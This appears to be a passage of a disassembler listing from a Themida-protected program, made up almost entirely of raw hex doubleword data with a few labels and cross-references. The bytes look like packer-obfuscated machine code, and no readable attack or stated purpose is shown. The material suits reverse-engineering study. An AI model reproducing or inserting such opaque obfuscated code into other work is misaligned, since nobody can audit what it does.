		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C5CCC352h
		dd 80FE0F62h, 40E932EFh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 60AAC357h
		dd 0F07685A3h, 417EB947h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 81C08B00h, 0B6E596D7h, 19870F3Eh, 0E9000000h
		dd 14h,	0DA2D9145h, 0F506C799h,	0A4E64D16h, 9EBACC11h
		dd 0BBAAF24Fh, 1B55BD83h, 0F0305E2h, 4A385h, 398D8900h
		dd 8305E216h, 0E5BB9DBDh, 840F0005h, 490h, 1F019D8Bh, 0B5FF05E2h
		dd 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0F4C35242h, 0AFE781FBh,	0FF79AA95h, 0E2172D95h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 16BEEFh,	0FCF60BB8h, 0C59D8943h,	8B05E210h
		dd 0E20FD99Dh, 91B58B05h, 6A05E5BBh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0C7FBC355h
		dd 1000106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 9D8BBA79h, 5E20065h, 0DE95250h, 15000000h
		dd 0EF60C652h, 2A680066h, 2215B84Ah, 2434895Bh,	5E9h, 114E8700h
		dd 0B5FF83B6h, 5E5BB9Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 4DC35242h, 74FF946Ah,	0CB81204Eh, 20060EFh
		dd 95FFD88Bh, 5E22BD1h,	68B0Fh,	0B5890000h, 5E20A9Dh, 0BB91B58Bh
		dd 850105E5h, 5E204A9h,	10DD858Bh, 6A05E2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8915A0C3h
		dd 0C486h, 62D38100h, 8B4493F5h, 0E206819Dh, 0E9958B05h
		dd 0F805E20Bh, 3CE5CB81h, 0C28318B5h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0F88B66B3h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 856EC356h, 0A10BF953h
		dd 5B53E851h, 5E19D8Bh,	858D05E2h, 5E5CE5Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 33C35242h, 1A1EFD62h
		dd 6E9A6h, 0E3E00000h, 0E624A622h, 0B88689h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 466BBC3h, 0BE89FD3h,	8B000000h, 0D781C545h, 0EE2AE4D8h
		dd 0F7801E78h, 6A5B35h,	2800Fh,	6AB30000h, 0C800Fh, 8F0F0000h
		dd 6, 2621BD8Bh, 0B5FF05E2h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 60C35343h, 0FA64A200h, 68D6105Eh
		dd 8D858990h, 0FF05E216h, 0E214E995h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 19F62EA6h, 0BE9B9h, 0D7C80000h, 61CB1B49h, 9C001A28h
		dd 5750964Eh, 5FFA8B66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0E23E1036h, 0A0E78166h
		dd 9DB5FF07h, 6A05E5BBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 4378C355h, 2B388238h
		dd 14059D89h, 0BD8B05E2h, 5E21DC1h, 2D2195FFh, 6A05E2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 8D6F0C3h, 1102C9CDh,	0AFBF52A2h, 5F17596Bh, 89BD83h
		dd 0F0005E2h, 3B84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 31FBE60Ah, 50A155EEh
		dd 0AFFFBB66h, 66243489h, 8B60DE8Bh, 0E209F58Dh, 0B1858B05h
		dd 6105E217h, 0BB9DB5FFh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 958926C3h, 5E21BB1h
		dd 41595FFh, 24B705E2h,	0BB9DB5FFh, 6A05E5h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 94751FC3h
		dd 343E0AB0h, 663E2B84h, 40C9F381h, 5FFDC381h, 95FF4D04h
		dd 5E20A59h, 49DB8166h,	0CDBD831Fh, 205E224h, 6F840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 7B7594C3h, 10198589h, 858B05E2h, 5E21F35h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h
		dd 8BB9BFDAh, 0C61FD7h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0C7800AC9h, 0F985C75Eh
		dd 5E20Ch, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 4C2CC350h, 70582CB5h, 0FFF36DE9h
		dd 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0D1C04B6Bh, 0F1B1B52Bh, 0DAB70F9Eh, 6AC18Bh,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 811B05C3h, 0B116DCC7h
dword_532F18	dd 91858D0Ch, 6A05E20Eh, 3E85200h, 20000000h, 895AC35Ah
					; DATA XREF: Themida_:004EE410o
					; Themida_:004F0358o
		dd 81042454h, 15042444h, 42000000h, 73EFC352h, 4D19D89h
		dd 509005E2h, 8800Fh, 0F530000h, 8Ch, 6A905F00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E98BC350h, 0Fh, 8214B1AEh, 6D567C7Ch, 0EDD4172h, 6AB48150h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 5C9112E6h, 45A02B46h, 8589D50Ch,	5E21BB5h
		dd 9589006Ah, 5E221E9h,	5482858Dh, 0F98A05E6h, 1F05BD89h
		dd 0C08305E2h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 6DDB354Fh, 4DB0EDA5h
		dd 8B50B650h, 240489FAh, 1D398531h, 6A05E2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 50C35040h, 0A9C107C7h
		dd 860Fh, 95890000h, 5E20CF5h, 6A006Ah,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 60CA31C3h
		dd 8BA4F180h, 0E22C6DB5h, 0BD2B6105h, 5E2077Dh,	1E2D95FFh
		dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B2F07C3h, 0E21699BDh, 29BD3305h,	8B05E21Ah
		dd 808D8DDEh, 6A05E59Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0A8CCC353h,	6AD1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0F3992EC3h, 0B492FCFh, 0E232E19Dh, 0B9BD8305h, 105E200h
		dd 57850Fh, 0B5310000h,	5E23159h, 0BD8B026Ah, 5E20465h
		dd 0DA8B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 54C0C351h, 0E995FFFAh
		dd 8B05E214h, 0E20161BDh, 0BE96005h, 50000000h,	0AC312979h
		dd 94EC37E7h, 9D2388E9h, 5E221A1h, 0EE4E961h
		db 2 dup(0)
word_53313E	dw 0E8h			; DATA XREF: Themida_:004EF9F0o
		dd 5D000000h, 548CED81h, 0B70F05E6h, 56006ADEh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BF0BBF59h
		dd 4CEF26CDh, 9E858DFCh, 6A05E58Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 75D0C353h
		dd 4D47346Fh, 0DA8A238Dh, 12E8h, 0C9F9B100h, 95474C76h
		dd 4CF16F78h, 0E2F58A48h, 667380EEh, 505FF98Bh,	13E8h
		dd 0C13D9800h, 960EEB07h, 0AF98D0A6h, 0E3C101E9h, 0C50EB80Dh
		dd 0A38A8CBFh, 4895F62h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0D9B70FF5h, 30A68ABFh
		dd 35FF6419h, 0
aBuGWFb8Aadi	db '`î;gÏ(`W^fÑ8êaad‰%',0
		align 4
aJ_0		db 'j',0
		dw 0E853h
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0EC35343h, 0ABDCF2C1h
		dd 0CD958952h, 5F05E200h, 61DB589h, 0E95105E2h,	0Fh, 7685A360h
		dd 7EB947F0h, 39A5B141h, 5F6CE2D3h, 232985FFh, 0EE905E2h
		dd 25000000h, 1F00934Fh, 96EADE56h, 36BB74DAh, 6AFF6A76h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 8006C352h, 8B6BB01Bh, 0E218F5BDh,	119D8B05h
		dd 0FF05E214h, 0E210E5B5h, 0F88B6605h, 3241BD89h, 95FF05E2h
		dd 5E2189Dh, 132E9h, 5700B000h,	0E8595660h, 7, 0B0344AFEh
		dd 5E3468EAh, 70E65B61h, 0C42AD381h, 71E404ADh,	171BD23h
		dd 613C05E2h, 105830Fh,	0B60F0000h, 0DE8B66C8h,	4A88DF81h
		dd 6BA1666h, 81000000h,	7042D6D7h, 66C18B1Dh, 0C18313BBh
		dd 8D8904E8h, 5E21881h,	89E2F766h, 0E2012DBDh, 60C82B05h
		dd 6810Fh, 0BD890000h, 5E21CE1h, 0EE9h,	77612000h, 0FA0E471Fh
		dd 74C576C0h, 6180629Ch, 0B589D18Bh, 5E20E69h, 6E9h, 819D8B00h
		dd 8B05E230h, 0E21A2D85h, 840F5205h, 6,	3B6FC381h, 835B6C2Bh
		dd 9D8B07C0h, 5E214B5h,	6600C083h, 0D03BF98Bh, 17830Fh
		dd 0BD0B0000h, 5E2226Dh, 1639BD8Bh, 64E905E2h, 8B000000h
		dd 0E20B09BDh, 8D8D8B05h, 6605E221h, 83CC88BFh,	840F01E1h
		dd 4Bh,	0AE9h, 0A8792100h, 0ED976B14h, 83D8D9DAh, 0E2218DA5h
		dd 0DE8BFE05h, 950B5660h, 5E216E1h, 13E95Eh, 3A4E0000h
		dd 319454FAh, 250ED851h, 0C9817FDEh, 14745DEEh,	95896147h
		dd 5E21A2Dh, 22599D8Bh,	0E905E2h, 8D000000h, 0E5DA66B5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0BCB14652h, 6A911Dh, 0F98D380h, 684h, 0E5BD8B00h
		dd 0FF05E21Dh, 0E20AB995h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 66750CE5h
		dd 315BE381h, 0D97B9h, 0AE900h,	2C740000h, 14668B89h, 364F82D9h
		dd 29FCE183h, 0E22A75BDh, 6AFC05h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0FCE1F5C3h, 22071234h
		dd 66C02B22h, 5DECF781h, 6AD22Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 37A3CAC3h, 86068638h
		dd 60E38134h, 0F6E656Dh, 33ADDFBFh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 2FDB7FC3h, 912617A5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 11C35343h, 9969892Ah, 8B5768B4h
		dd 880D5BF9h, 8B000000h, 0E9958BFEh, 6A05E20Bh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0E944C351h, 0E156C18h, 1745BD8Bh, 8BFC05E2h,	0E207618Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 19DF63C1h, 0A5D95120h, 0BC1BD89h, 8B5005E2h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6AC35343h, 0BD016BAFh
		dd 5E21585h, 2D7DBD8Bh,	0BD8305E2h, 5E20D79h, 63840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0FF77C357h, 9D8BAA31h,	5E213BDh
		dd 0B8h, 8D8DFC00h, 5E24C42h, 68C0Fh, 0DF810000h, 45D465E3h
		dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 1A2861C3h, 0F4E9C00h, 0BD83D9B7h,	5E21B55h
		dd 0FA840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0D467C355h,	55BD835Dh
		dd 105E21Bh, 4EA840Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0FB0EF6C3h, 812B6D59h
		dd 8B19BBFDh, 6AE380DEh, 1B55BD83h, 0F0305E2h, 47D86h
		dd 1DBD8B00h, 6005E209h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A2C35545h, 0F202F00Bh, 0D34E799Fh, 9E909h
		dd 5DB90000h, 9C4C65E5h, 667D12DAh, 6AD98Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F27F79C3h
		dd 97FFED7Ah, 1BE19529h, 0DE8B05E2h, 8104E180h,	9C43FFE7h
		dd 319D8B76h, 0A05E20Ch, 71840FC9h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F8DC351h, 68Eh, 0E5BD8B00h,	305E20Ah, 0E229B59Dh, 1D858B05h
		dd 8905E224h, 0E2003595h, 0A9853305h, 105E22Ah,	0E20D9DB5h
		dd 0F9852905h, 9005E223h, 34CEA6BFh, 5E95017h, 9E000000h
		dd 9A4FB6B5h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0FDDA093Fh, 0C4C38166h, 0E8006A0Ah
		dd 5, 0E04C296Ah, 32EF80C4h, 2421685Fh,	0DE8D2F4h, 12000000h
		dd 0C3FB4873h, 2034BA42h, 917644A2h, 118E0Fh, 0BE80000h
		dd 0DB000000h, 6BBD6084h, 0C841575Eh, 5F5F5138h, 0DE240481h
		dd 6A2D2ADFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 1BE2C353h, 5765FB2Ah, 0CBD9EF81h
		dd 0FF5F5D8Bh, 0E2083995h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0BB9C0F70h
		dd 5D3F9BDh, 0BB9D8589h, 6A05E5h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0CEB2E3C3h, 1CE98205h
		dd 6A000002h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 347C357h, 5C020260h, 0FBF0FA9h
		dd 9531DEBFh, 5E215F1h,	0BB95858Bh, 9D8B05E5h, 5E20FA5h
		dd 1800C7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 180424h, 57470000h, 4DA328C3h, 0EE9E591h, 97000000h
		dd 0BE4570Bh, 7E036562h, 0A567216Bh, 99B58BDFh,	0FC05E5BBh
		dd 1549BD8Bh, 858B05E2h, 5E200F9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6DC35242h, 468A1B82h, 353FE39h
		dd 0E21551BDh, 6895B05h, 1D858BF9h, 6A05E224h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 1684C350h, 6A044689h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0F7CAC357h,	0BF963D0Fh
		dd 5D779FCBh, 2880F50h,	0B7000000h, 6A9699h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0FF5F37C3h
		dd 78F78166h, 13E950h, 812D0000h, 922A806Fh, 5D434BDCh
		dd 362178F7h, 311FD1CCh, 95B5FFCAh, 6A05E5BBh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0E3FEC351h, 0FED9589h, 816605E2h, 68A48ACBh,	0F0261F84h
		dd 481FA8Bh, 0F8E47B24h, 5E8600Fh, 5E000000h, 2ED66EFEh
		dd 5FF2BF0Fh, 10E9h, 7B1C3C00h,	0ECC95FB1h, 722EEAC6h
		dd 0CBE05984h, 858D61F4h, 5E5BB9Dh, 4D18589h, 0BF6605E2h
		dd 66502B15h, 89DEE0BBh, 6A2404h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 1892EEC3h, 2297FACFh, 0EE9h,	4525CF00h, 53AD2E7Fh, 7AC42C41h
		dd 8B18CCCFh, 0E21D31BDh, 3995FF05h, 6A05E208h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0F301C356h, 61FC59B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 6FC35242h, 2EFAD41Eh,	66A4D002h, 67BFEB81h
		dd 19D58D29h, 85C705E2h, 5E21B55h, 3, 0B73F33BBh, 8185BF6Ch
		dd 0BD830BF3h, 5E5BB9Dh, 4F840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0BDC8C351h, 89FD2F43h, 298D317Ah, 305E201h, 0E21B699Dh
		dd 37E905h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 140424h, 55450000h, 305049C3h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0A59D8BC0h,	6A05E22Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 2DDFC357h, 0CC569D88h, 3705BF66h,	1B55BD83h
		dd 0F0305E2h, 40485h, 11E900h, 0D3080000h, 0F6DFDAC3h
		dd 0D3560A58h, 3B590111h, 838712B4h, 0E5BB9DBDh, 840F0005h
		dd 3E1h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0CC35545h, 0F839A844h, 0E56CC8F5h, 16F5BD8Bh, 0B5FF05E2h
		dd 5E5BB9Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	62C35545h, 20C6128Dh, 3B89FC44h, 9E95604h, 0D9000000h
		dd 3370C4F2h, 90AF49h, 2D95FF5Bh, 6A05E217h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 96BEC350h, 5ED7D756h, 0F88B416Bh, 0BB91B58Bh, 6A05E5h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 7BB25EC3h, 0EB9BD8Bh, 0DB8005E2h, 106C71Ah, 0BF000100h
		dd 19B69286h, 0FA8B6696h, 8B525050h, 50310FDFh,	830F52h
		dd 0F000000h, 156FBB31h, 585A4DEFh, 8A96585Ah, 9DB5FFF9h
		dd 6605E5BBh, 0FC38F381h, 1E018501h, 95FF05E2h,	5E22BD1h
		dd 6E8FCh, 385B0000h, 8E0AA0EAh, 0AE9h,	25BADD00h, 4FA80AC2h
		dd 5F5CD6DCh, 0BB91B58Bh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B568AC3h, 0E210DD85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 9D8932BEh, 5E21435h, 0C48689h, 0C7800000h
		dd 0E9958BFCh, 0F505E20Bh, 6A04C283h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 5337C350h
		dd 0B87AAF53h, 31208AA5h, 0E209418Dh, 618D3105h, 8905E224h
		dd 858D2050h, 5E5CE5Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 82C35141h, 65E7FABFh,	0B88689B6h, 89000000h
		dd 0E21CF5BDh, 6D9D8B05h, 6A05E222h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0AE1985CCh
		dd 9DB5FF96h, 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 1D6AC353h, 0BB07913Fh
		dd 7E9DBh, 89C90000h, 0FA65234Eh, 0E995FF75h, 6A05E214h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 31CAC350h, 0BF0F848Fh, 1DBD89D9h,	5005E209h
		dd 89243489h, 0E2111D85h, 9DB5FF05h, 6A05E5BBh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D0BEC350h, 2D2195FFh, 83FC05E2h, 0E20089BDh, 840F0005h
		dd 23h,	1BE1BD8Bh, 0BF9605E2h, 250A9149h, 0AE950h, 0D480000h
		dd 0BD775FBFh, 0C72390E8h, 0BD9D0196h, 0FF05E200h, 0E5BB9DB5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 11B5290Ah, 0FF05E211h, 0E2041595h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0E0BBDE89h, 0F880AD1Dh, 0B5FF0462h, 5E5BB9Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 98C35141h, 1BBDBD01h
		dd 9D2905E2h, 5E20C15h,	0A5995FFh, 6A05E2h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 4190D6C3h
		dd 0CE8h, 8E0D1100h, 22AFEB76h,	6C0CA63Ah, 0A1858949h
		dd 5F05E200h, 24CDBD83h, 0F0205E2h, 3984h, 0CF816600h
		dd 858B4670h, 5E21F35h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 8FC35141h, 946C69A2h,	0A747FE69h, 0C603h
		dd 0C85BD23h, 85C705E2h, 5E20CF9h, 0
		dd 66DB8166h, 0F2CBE998h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 5138C8C3h, 9B0BAB81h
		dd 0E80D4583h, 0Eh, 4DDC3C7Bh, 869005C4h, 4486962Eh, 0BD039A0Ah
		dd 5E2193Dh, 6AC18B5Bh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 5C2EC356h, 8E960D5h
		dd 0B2000000h, 9E2150EEh, 8BE31E24h, 0E226959Dh, 858D6105h
		dd 5E20E91h, 31A1BD8Bh,	8B9005E2h, 0DE850D9h, 67000000h
		dd 1F71C222h, 70556791h, 39F28C3Ah, 6A905Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0A09BCAC3h
		dd 6A892B95h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 896056F3h, 0E219C19Dh, 0C6BF6605h
		dd 0F5F6116h, 38Ch, 70CF8000h, 6A006Ah,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858996C3h
		dd 5E218DDh, 65D2858Dh,	6A05E6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E9B0E7C3h, 10h, 0BF12FC17h
		dd 4FBCBB4Ah, 207635C0h, 4650FD94h, 0BCD07CBFh,	5C08344h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h
		dd 0FF110954h, 0F80BB32Bh, 0A9BB5690h, 5B75477Dh, 1E830F50h
		dd 0F000000h, 1881h, 13E900h, 0ACDA0000h, 3937AAC6h, 14B4655Dh
		dd 0B1220407h, 9DB7C7C0h, 6A907Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 116F18C3h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0B74A13C3h, 8B5067A6h, 0E2044D9Dh, 6A006A05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0DF56C357h, 5830F92h, 66000000h, 5902CF81h, 1E2D95FFh
		dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0FD0AB9C3h, 53557036h, 0BE758C9h,	0E2199D9Dh
		dd 808D8D05h, 6A05E59Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0C12EC353h,	8E9AA192h
		dd 0CF81D1FFh, 460C571Eh, 0B9BD83h, 0F0105E2h, 5885h, 0F8BF0F00h
		dd 6E9026Ah, 5F000000h,	5192D1E9h, 0CDBB50BBh, 892F44BBh
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0F838E9C3h, 1DB2E0EAh, 85896B77h,	5E231B1h
		dd 14E995FFh, 0AE905E2h, 8C000000h, 3124C717h, 4AC833C1h
		dd 0D85E95Eh, 0E80000h,	5D000000h, 65DCED81h, 8B5305E6h
		dd 0E20FCDBDh, 81665F05h, 8B3A8DDBh, 0E215F19Dh, 9E858D05h
		dd 8A05E58Eh, 0BF6690FCh, 515016FEh, 5FDF8B66h,	11BD8B90h
		dd 6405E22Bh, 35FFh, 89640000h,	25h, 7810F00h, 60000000h
		dd 9DB866F5h, 85FF6170h, 5E22329h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 40C35747h, 0E8EA3096h, 9F5C9807h
		dd 12E8h, 23744200h, 33FA330Bh,	0E2ACF63Bh, 0BA8D1ABFh
		dd 0E80FC175h, 10h, 0E44ACE31h,	0D96755DCh, 9743A5E3h
		dd 4B4F6DF5h, 5B5FDF8Bh, 6AD98B66h, 0BD8B60FFh,	5E23081h
		dd 0B5FF61F5h, 5E21FD9h, 14B18D89h, 95FF05E2h, 5E2189Dh
		dd 0F0E9h, 0DA8B6600h, 665700B0h, 5B6D5DBBh, 9D8B70E6h
		dd 5E20D61h, 0BD0971E4h, 5E23125h, 830F613Ch, 0CDh, 24199D89h
		dd 0B60F05E2h, 0F78166C8h, 6BAE61Bh, 0BB000000h, 1A083BB5h
		dd 9D89C18Bh, 5E22AEDh,	0F04E8C1h, 68Eh, 298D8900h, 6605E21Ah
		dd 9ABBE2F7h, 2B125138h, 0DA8B66C8h, 0BD33D18Bh, 5E23109h
		dd 2E9h, 8BFB8B00h, 0E22CA985h,	8E905h,	48700000h, 818263CEh
		dd 0C0835AF6h, 0FBE78107h, 293D6255h, 0E21971BDh, 0C08305h
		dd 0BE9h, 1DEF3D00h, 0E98EB612h, 120BB4F2h, 830FD03Bh
		dd 11h,	22E5BD8Bh, 3AE905E2h, 29000000h, 0E22CA585h, 0F58D8B05h
		dd 6605E21Bh, 0E399C381h, 0F01E183h, 2084h, 0F5A58300h
		dd 0FE05E21Bh, 0EB1B589h, 958905E2h, 5E22CA9h, 8D89D98Ah
		dd 5E21821h, 0E9h, 5B58D00h, 6A05E5EAh,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6FFBC355h
		dd 3E53B45Ah, 0AD7BBBC3h, 6A18EEh, 0FFDE8B66h, 0E20AB995h
		dd 0BD9D8B05h, 0B905E21Fh, 0BEDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 12C35040h, 0C2E4F05Dh, 5EBF66h
		dd 5E9h, 39E4FD00h, 0E183FD7Ch,	52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 796477F0h
		dd 66606095h, 63ACCB81h, 23C99D89h, 0F6105E2h, 0FC61F9BFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ACC35343h
